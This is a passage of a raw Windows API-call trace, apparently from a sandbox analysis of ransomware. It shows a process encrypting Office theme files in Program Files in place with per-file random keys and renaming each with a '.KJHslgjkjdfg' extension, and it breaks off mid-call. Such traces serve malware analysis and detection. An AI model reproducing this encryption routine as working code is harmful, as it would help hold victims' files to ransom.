[0220.450] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.450] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Perspective.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\perspective.thmx.kjhslgjkjdfg")) returned 1 [0220.452] CloseHandle (hObject=0x124) returned 1 [0220.452] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54abb600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54abb600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc97ce, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pushpin.thmx", cAlternateFileName="PUSHPI~1.THM")) returned 1 [0220.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0220.457] GetProcessHeap () returned 0x990000 [0220.457] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.457] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.457] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0220.457] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x2, lpOverlapped=0x0) returned 1 [0220.460] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.460] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.460] GetProcessHeap () returned 0x990000 [0220.460] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.460] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0220.460] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.460] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0220.460] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0220.460] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0220.461] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0220.461] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0220.461] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.461] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.461] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.461] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.461] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xc97ce, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0xc97ce, lpOverlapped=0x0) returned 1 [0220.479] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xc97d0, dwBufLen=0xc97d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0xc97d0) returned 1 [0220.489] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.489] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xc97d0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0xc97d0, lpOverlapped=0x0) returned 1 [0220.492] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.492] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xc98a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.493] SetEndOfFile (hFile=0x124) returned 1 [0220.496] GetProcessHeap () returned 0x990000 [0220.496] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.496] GetProcessHeap () returned 0x990000 [0220.496] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.496] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Pushpin.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\pushpin.thmx.kjhslgjkjdfg")) returned 1 [0220.498] CloseHandle (hObject=0x124) returned 1 [0220.498] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f86400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81f86400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x106e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Slipstream.thmx", cAlternateFileName="SLIPST~1.THM")) returned 1 [0220.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0220.501] GetProcessHeap () returned 0x990000 [0220.501] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.501] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.501] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0220.501] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.503] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.504] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.504] GetProcessHeap () returned 0x990000 [0220.504] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.504] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0220.504] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.504] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0220.504] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0220.504] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0220.504] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0220.504] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0220.504] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.504] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.504] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.505] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.505] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x106e8, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x106e8, lpOverlapped=0x0) returned 1 [0220.507] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x106f0, dwBufLen=0x106f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x106f0) returned 1 [0220.507] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.507] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x106f0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x106f0, lpOverlapped=0x0) returned 1 [0220.508] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.508] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x107c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.508] SetEndOfFile (hFile=0x124) returned 1 [0220.511] GetProcessHeap () returned 0x990000 [0220.511] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.512] GetProcessHeap () returned 0x990000 [0220.512] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.512] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Slipstream.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\slipstream.thmx.kjhslgjkjdfg")) returned 1 [0220.514] CloseHandle (hObject=0x124) returned 1 [0220.515] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x124a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Solstice.thmx", cAlternateFileName="SOLSTI~1.THM")) returned 1 [0220.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0220.517] GetProcessHeap () returned 0x990000 [0220.517] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.517] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.517] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0220.517] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.517] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.517] GetProcessHeap () returned 0x990000 [0220.517] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.517] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0220.518] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.518] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0220.521] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0220.521] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0220.521] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0220.521] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0220.521] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.521] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.521] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.521] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.521] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x124a0, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x124a0, lpOverlapped=0x0) returned 1 [0220.523] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x124a0, dwBufLen=0x124a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x124a0) returned 1 [0220.525] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.525] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x124a0, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x124a0, lpOverlapped=0x0) returned 1 [0220.525] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.525] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.525] SetEndOfFile (hFile=0x124) returned 1 [0220.527] GetProcessHeap () returned 0x990000 [0220.527] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.528] GetProcessHeap () returned 0x990000 [0220.528] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.528] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Solstice.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\solstice.thmx.kjhslgjkjdfg")) returned 1 [0220.530] CloseHandle (hObject=0x124) returned 1 [0220.530] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb74300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fb74300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10d83, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Technic.thmx", cAlternateFileName="TECHNI~1.THM")) returned 1 [0220.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0220.532] GetProcessHeap () returned 0x990000 [0220.532] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.532] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.532] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0220.532] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xd, lpOverlapped=0x0) returned 1 [0220.534] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.534] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.534] GetProcessHeap () returned 0x990000 [0220.534] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0220.534] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0220.534] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.534] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0220.534] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0220.534] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0220.534] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f8*=0x80, lpOverlapped=0x0) returned 1 [0220.535] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0220.535] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0220.535] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0220.535] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0220.535] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.535] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x10d83, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x10d83, lpOverlapped=0x0) returned 1 [0220.537] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x10d90, dwBufLen=0x10d90 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x10d90) returned 1 [0220.538] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.538] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x10d90, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x10d90, lpOverlapped=0x0) returned 1 [0220.538] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0220.538] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0220.538] SetEndOfFile (hFile=0x124) returned 1 [0220.595] GetProcessHeap () returned 0x990000 [0220.595] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0220.595] GetProcessHeap () returned 0x990000 [0220.595] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0220.595] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Technic.thmx.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\document themes 14\\technic.thmx.kjhslgjkjdfg")) returned 1 [0220.597] CloseHandle (hObject=0x124) returned 1 [0220.597] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59706a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59706a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15d75, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Thatch.thmx", cAlternateFileName="THATCH~1.THM")) returned 1 [0220.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Thatch.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\thatch.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0220.600] GetProcessHeap () returned 0x990000 [0220.600] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0220.600] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0220.600] SetFilePointerEx (in: 